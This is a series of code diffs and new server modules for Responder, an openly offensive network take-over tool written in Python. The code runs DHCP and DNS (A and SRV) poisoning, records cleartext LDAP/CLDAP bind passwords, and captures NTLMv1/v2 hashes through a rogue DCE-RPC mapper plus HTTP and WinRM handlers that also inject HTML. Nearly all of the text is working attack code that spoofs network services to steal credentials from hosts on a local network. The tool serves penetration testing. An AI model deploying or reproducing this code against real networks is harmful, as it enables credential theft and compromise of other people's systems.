return ''.join(IP[0:4]).encode('latin-1')
def ParseDHCPCode(data, ClientIP):
global DHCPClient
global ROUTERIP
PTid = data[4:8]
Seconds = data[8:10]
CurrentIP = socket.inet_ntoa(data[12:16])
RequestedIP = socket.inet_ntoa(data[16:20])
MacAddr = data[28:34]
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr.decode('latin-1')).upper()
OpCode = data[242:243]
RequestIP = data[245:249]
if DHCPClient.count(MacAddrStr) >= 4:
return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr
if OpCode == b"\x02" and Respond_To_Requests: # DHCP Offer
ROUTERIP = ClientIP
return 'Found DHCP server IP: %s, now waiting for incoming requests...' % (ROUTERIP)
elif OpCode == b"\x03" and Respond_To_Requests: # DHCP Request
IP = FindIP(data)
if IP:
IPConv = socket.inet_ntoa(IP)
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
DHCPClient.append(MacAddrStr)
SaveDHCPToDb({
'MAC': MacAddrStr,
'IP': CurrentIP,
'RequestedIP': IPConv,
})
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
IP = FindIP(data)
if IP:
IPConv = socket.inet_ntoa(IP)
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate()
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
DHCPClient.append(MacAddrStr)
SaveDHCPToDb({
'MAC': MacAddrStr,
'IP': CurrentIP,
'RequestedIP': IPConv,
})
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
def SendDiscover():
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
IP_Header = IPHead(SrcIP = socket.inet_aton('0.0.0.0').decode('latin-1'), DstIP=socket.inet_aton('255.255.255.255').decode('latin-1'))
Packet = DHCPDiscover()
Packet.calculate()
Buffer = UDP(SrcPort="\x00\x44", DstPort="\x00\x43",Data = Packet)
Buffer.calculate()
s.sendto(NetworkSendBufferPython2or3(str(IP_Header)+str(Buffer)), ('255.255.255.255', 67))
def SendDHCP(packet,Host):
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(NetworkSendBufferPython2or3(packet), Host)
def DHCP():
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
s.bind((Interface, 0x0800))
SendDiscover()
while True:
data = s.recvfrom(65535)
if data[0][23:24] == b"\x11":# is udp?
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67:
ClientIP = socket.inet_ntoa(data[0][26:30])
ret = ParseDHCPCode(data[0][42:], ClientIP)
if ret:
print(text("[*] [DHCP] %s" % ret))

View File

@@ -15,7 +15,7 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
from packets import DNS_Ans
from packets import DNS_Ans, DNS_SRV_Ans
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
@@ -23,26 +23,35 @@ else:
def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:]
# If Type A, Class IN, then answer.
return QueryTypeClass == "\x00\x01\x00\x01"
if QueryTypeClass == "\x00\x01\x00\x01":
return "A"
if QueryTypeClass == "\x00\x21\x00\x01":
return "SRV"
class DNS(BaseRequestHandler):
def handle(self):
# Break out if we don't want to respond to this host
# Ditch it if we don't want to respond to this host
if RespondToThisIP(self.client_address[0]) is not True:
return None
try:
data, soc = self.request
if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode == False:
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A" and settings.Config.AnalyzeMode == False:
buff = DNS_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV" and settings.Config.AnalyzeMode == False:
buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
except Exception:
pass
@@ -56,12 +65,19 @@ class DNSTCP(BaseRequestHandler):
try:
data = self.request.recv(1024)
if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode is False:
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A" and settings.Config.AnalyzeMode is False:
buff = DNS_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV" and settings.Config.AnalyzeMode == False:
buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
except Exception:
pass

View File

@@ -222,7 +222,7 @@ def PacketSequence(data, client, Challenge):
else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate()
return NetworkSendBufferPython2or3(Buffer)
return Buffer
elif Basic_Auth:
ClearText_Auth = b64decode(''.join(Basic_Auth))
@@ -248,7 +248,7 @@ def PacketSequence(data, client, Challenge):
else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate()
return NetworkSendBufferPython2or3(Buffer)
return Buffer
else:
if settings.Config.Basic:
Response = IIS_Basic_401_Ans()
@@ -308,6 +308,6 @@ class HTTP(BaseRequestHandler):
Buffer = PacketSequence(data,self.client_address[0], Challenge)
self.request.send(NetworkSendBufferPython2or3(Buffer))
except socket.error:
except:
pass

View File

@@ -19,18 +19,67 @@ if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge, CLDAPNetlogon
from utils import *
import struct
import codecs
import random
def CalculateDNSName(name):
if isinstance(name, bytes):
name = name.decode('latin-1')
name = name.split(".")
DomainPrefix = struct.pack('B', len(name[0])).decode('latin-1')+name[0]
Dnslen = ''
for x in name:
if len(x) >=1:
Dnslen += struct.pack('B', len(x)).decode('latin-1')+x
return Dnslen, DomainPrefix
def ParseCLDAPNetlogon(data):
try:
Dns = data.find(b'DnsDomain')
if Dns == -1:
return False
DnsName = data[Dns+9:]
DnsGuidOff = data.find(b'DomainGuid')
if DnsGuidOff == -1:
return False
Guid = data[DnsGuidOff+10:]
if Dns:
DomainLen = struct.unpack(">B", DnsName[1:2])[0]
DomainName = DnsName[2:2+DomainLen]
if Guid:
DomainGuidLen = struct.unpack(">B", Guid[1:2])[0]
DomainGuid = Guid[2:2+DomainGuidLen]
return DomainName, DomainGuid
except:
pass
def ParseSearch(data):
if re.search(b'(objectClass)', data):
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9].decode('latin-1')))
TID = data[8:9].decode('latin-1')
if re.search(b'Netlogon', data):
NbtName = settings.Config.MachineName
TID = NetworkRecvBufferPython2or3(data[8:10])
if TID[1] == "\x63":
TID = "\x00"+TID[0]
DomainName, DomainGuid = ParseCLDAPNetlogon(data)
DomainGuid = NetworkRecvBufferPython2or3(DomainGuid)
t = CLDAPNetlogon(MessageIDASNStr=TID ,CLDAPMessageIDStr=TID, NTLogonDomainGUID=DomainGuid, NTLogonForestName=CalculateDNSName(DomainName)[0],NTLogonPDCNBTName=CalculateDNSName(NbtName)[0], NTLogonDomainNBTName=CalculateDNSName(NbtName)[0],NTLogonDomainNameShort=CalculateDNSName(DomainName)[1])
t.calculate()
return str(t)
if re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data):
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1')))
elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1')))
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
elif re.search(b'(objectClass)', data):
return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID))
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
SSPIStart = data.find(b'NTLMSSP')
@@ -92,6 +141,61 @@ def ParseNTLM(data,client, Challenge):
elif re.search(b'(NTLMSSP\x00\x03\x00\x00\x00)', data):
ParseLDAPHash(data, client, Challenge)
def ParseCLDAPPacket(data, client, Challenge):
if data[1:2] == b'\x84':
Operation = data[10:11]
PacketLen = struct.unpack('>i',data[2:6])[0]
if Operation == b'\x84':
Operation = data[9:10]
sasl = data[20:21]
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
LDAPVersion = struct.unpack('<b',data[17:18])[0]
if Operation == b'\x60':
UserDomainLen = struct.unpack('<b',data[19:20])[0]
UserDomain = data[20:20+UserDomainLen].decode('latin-1')
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
if AuthHeaderType == b'\x80':
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen].decode('latin-1')
SaveToDb({
'module': 'LDAP',
'type': 'Cleartext',
'client': client,
'user': UserDomain,
'cleartext': Password,
'fullhash': UserDomain+':'+Password,
})
if sasl == b'\xA3':
Buffer = ParseNTLM(data,client, Challenge)
return Buffer
elif Operation == b'\x63':
Buffer = ParseSearch(data)
print(text('[CLDAP] Sent CLDAP pong to %s.'% client))
return Buffer
elif settings.Config.Verbose:
print(text('[CLDAP] Operation not supported'))
if data[5:6] == b'\x60':
UserLen = struct.unpack("<b",data[11:12])[0]
UserString = data[12:12+UserLen].decode('latin-1')
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen].decode('latin-1')
if settings.Config.Verbose:
print(text('[CLDAP] Attempting to parse an old simple Bind request.'))
SaveToDb({
'module': 'LDAP',
'type': 'Cleartext',
'client': client,
'user': UserString,
'cleartext': PassStr,
'fullhash': UserString+':'+PassStr,
})
def ParseLDAPPacket(data, client, Challenge):
if data[1:2] == b'\x84':
PacketLen = struct.unpack('>i',data[2:6])[0]
@@ -100,8 +204,7 @@ def ParseLDAPPacket(data, client, Challenge):
sasl = data[20:21]
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
LDAPVersion = struct.unpack('<b',data[17:18])[0]
if Operation == b'\x60':
if Operation == b'\x60':#Bind
UserDomainLen = struct.unpack('<b',data[19:20])[0]
UserDomain = data[20:20+UserDomainLen].decode('latin-1')
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
@@ -148,7 +251,7 @@ def ParseLDAPPacket(data, client, Challenge):
class LDAP(BaseRequestHandler):
def handle(self):
try:
self.request.settimeout(0.4)
self.request.settimeout(1)
data = self.request.recv(8092)
Challenge = RandomChallenge()
for x in range(5):
@@ -159,3 +262,17 @@ class LDAP(BaseRequestHandler):
except:
pass
class CLDAP(BaseRequestHandler):
def handle(self):
try:
data, soc = self.request
Challenge = RandomChallenge()
for x in range(1):
Buffer = ParseCLDAPPacket(data,self.client_address[0], Challenge)
if Buffer:
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
data, soc = self.request
except:
pass

View File

@@ -69,9 +69,11 @@ def PacketSequence(data, client, Challenge):
GrabUserAgent(data)
GrabCookie(data)
GrabHost(data)
return False
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes...
Buffer.calculate()
return Buffer
else:
return False
return IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)# Didn't work? no worry, let's grab hashes via SMB...
elif Basic_Auth:
GrabUserAgent(data)

214
servers/RPC.py Normal file
View File

@@ -0,0 +1,214 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
import struct
import re
import ssl
import codecs
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import RPCMapBindAckAcceptedAns, RPCMapBindMapperAns, RPCHeader, NTLMChallenge, RPCNTLMNego
NDR = "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60" #v2
Map = "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36" #v1
MapBind = "\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa"
#for mapper
DSRUAPI = "\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2" #v4
LSARPC = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab" #v0
NETLOGON = "\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb" #v1
WINSPOOL = "\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09" #v1
def Chose3264x(packet):
if Map32 in packet:
return Map32
else:
return Map64
def FindNTLMOpcode(data):
SSPIStart = data.find(b'NTLMSSP')
if SSPIStart == -1:
return False
SSPIString = data[SSPIStart:]
return SSPIString[8:12]
def ParseRPCHash(data,client, Challenge): #Parse NTLMSSP v1/v2
SSPIStart = data.find(b'NTLMSSP')
SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
if NthashLen == 24:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
SaveToDb({
'module': 'DCE-RPC',
'type': 'NTLMv1-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
if NthashLen > 60:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'DCE-RPC',
'type': 'NTLMv2-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
class RPCMap(BaseRequestHandler):
def handle(self):
try:
data = self.request.recv(1024)
self.request.settimeout(5)
Challenge = RandomChallenge()
if data[0:3] == b"\x05\x00\x0b":#Bind Req.
#More recent windows version can and will bind on port 135...Let's grab it.
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
n.calculate()
RPC = RPCNTLMNego(Data=n)
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
self.request.close()
if NetworkSendBufferPython2or3(Map) in data:# Let's redirect to Mapper.
RPC = RPCMapBindAckAcceptedAns(CTX1UID=Map, CTX1UIDVersion="\x01\x00\x00\x00",CallID=NetworkRecvBufferPython2or3(data[12:16]))
if NetworkSendBufferPython2or3(NDR) in data and NetworkSendBufferPython2or3(Map) not in data: # Let's redirect to Mapper.
RPC = RPCMapBindAckAcceptedAns(CTX1UID=NDR, CTX1UIDVersion="\x02\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
if data[0:3] == b"\x05\x00\x00":#Mapper Response.
# DSRUAPI
if NetworkSendBufferPython2or3(DSRUAPI) in data:
x = RPCMapBindMapperAns()
x.calculate()
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0]), 3, 1))
self.request.close()
#LSARPC
if NetworkSendBufferPython2or3(LSARPC) in data:
x = RPCMapBindMapperAns(Tower1UID=LSARPC,Tower1Version="\x00\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0]), 3, 1))
self.request.close()
#WINSPOOL
if NetworkSendBufferPython2or3(WINSPOOL) in data:
x = RPCMapBindMapperAns(Tower1UID=WINSPOOL,Tower1Version="\x01\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0]), 3, 1))
self.request.close()
#NetLogon
if NetworkSendBufferPython2or3(NETLOGON) in data:
self.request.close()
# For now, we don't want to establish a secure channel... we want NTLM.
#x = RPCMapBindMapperAns(Tower1UID=NETLOGON,Tower1Version="\x01\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
#x.calculate()
#RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
#RPC.calculate()
#self.request.send(NetworkSendBufferPython2or3(str(RPC)))
#data = self.request.recv(1024)
#print(color("[*] [DCE-RPC Mapper] Redirected %-15sto NETLOGON auth server." % (self.client_address[0]), 3, 1))
except Exception:
self.request.close()
pass
class RPCMapper(BaseRequestHandler):
def handle(self):
try:
data = self.request.recv(2048)
self.request.settimeout(3)
Challenge = RandomChallenge()
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
n.calculate()
RPC = RPCNTLMNego(Data=n)
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
self.request.close()
except Exception:
self.request.close()
pass

View File

@@ -219,7 +219,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
self.request.send(NetworkSendBufferPython2or3(buffer1))
data = self.request.recv(1024)
## Session Setup 1 answer SMBv2.
## Nego answer SMBv2.
if data[16:18] == b"\x00\x00" and data[4:5] == b"\xfe":
head = SMB2Header(MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'))
t = SMB2NegoAns(Dialect="\x10\x02")
@@ -238,7 +238,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
self.request.send(NetworkSendBufferPython2or3(buffer1))
data = self.request.recv(1024)
## Session Setup 3 answer SMBv2.
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' and data[4:5] == b'\xfe':
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe':
ParseSMBHash(data, self.client_address[0], Challenge)
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1'))
t = SMB2Session2Data()
@@ -265,7 +265,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
# STATUS_MORE_PROCESSING_REQUIRED
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",mid=midcalc(NetworkRecvBufferPython2or3(data)))
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge), NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
else:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Body.calculate()
@@ -279,7 +279,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
if data[8:10] == b"\x73\x00" and data[4:5] == b"\xff": # STATUS_SUCCESS
if Is_Anonymous(data):
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
Body = SMBSessEmpty()
packet1 = str(Header)+str(Body)
@@ -333,7 +333,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
class SMB1LM(BaseRequestHandler): # SMB Server class, old version
def handle(self):
try:
self.request.settimeout(0.5)
self.request.settimeout(1)
data = self.request.recv(1024)
Challenge = RandomChallenge()
if data[0] == b"\x81": #session request 139

180
servers/WinRM.py Normal file
View File

@@ -0,0 +1,180 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
import codecs
from utils import *
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler, StreamRequestHandler
else:
from SocketServer import BaseRequestHandler, StreamRequestHandler
from base64 import b64decode, b64encode
from packets import NTLM_Challenge
from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer, WinRM_NTLM_Challenge_Ans
from packets import WPADScript, ServeExeFile, ServeHtmlFile
# Parse NTLMv1/v2 hash.
def ParseHTTPHash(data, Challenge, client, module):
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen]
LMHashFinal = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H',data[20:22])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0]
NTHash = data[NthashOffset:NthashOffset+NthashLen]
NTHashFinal = codecs.encode(NTHash, 'hex').upper().decode('latin-1')
UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].decode('latin-1').replace('\x00','')
Challenge1 = codecs.encode(Challenge,'hex').decode('latin-1')
if NthashLen == 24:
HostNameLen = struct.unpack('<H',data[46:48])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].decode('latin-1').replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHashFinal, NTHashFinal, Challenge1)
SaveToDb({
'module': module,
'type': 'NTLMv1',
'client': client,
'host': HostName,
'user': User,
'hash': LMHashFinal+':'+NTHashFinal,
'fullhash': WriteHash,
})
if NthashLen > 24:
NthashLen = 64
DomainLen = struct.unpack('<H',data[28:30])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = data[DomainOffset:DomainOffset+DomainLen].decode('latin-1').replace('\x00','')
HostNameLen = struct.unpack('<H',data[44:46])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].decode('latin-1').replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge1, NTHashFinal[:32], NTHashFinal[32:])
SaveToDb({
'module': module,
'type': 'NTLMv2',
'client': client,
'host': HostName,
'user': Domain + '\\' + User,
'hash': NTHashFinal[:32] + ':' + NTHashFinal[32:],
'fullhash': WriteHash,
})
# Handle HTTP packet sequence.
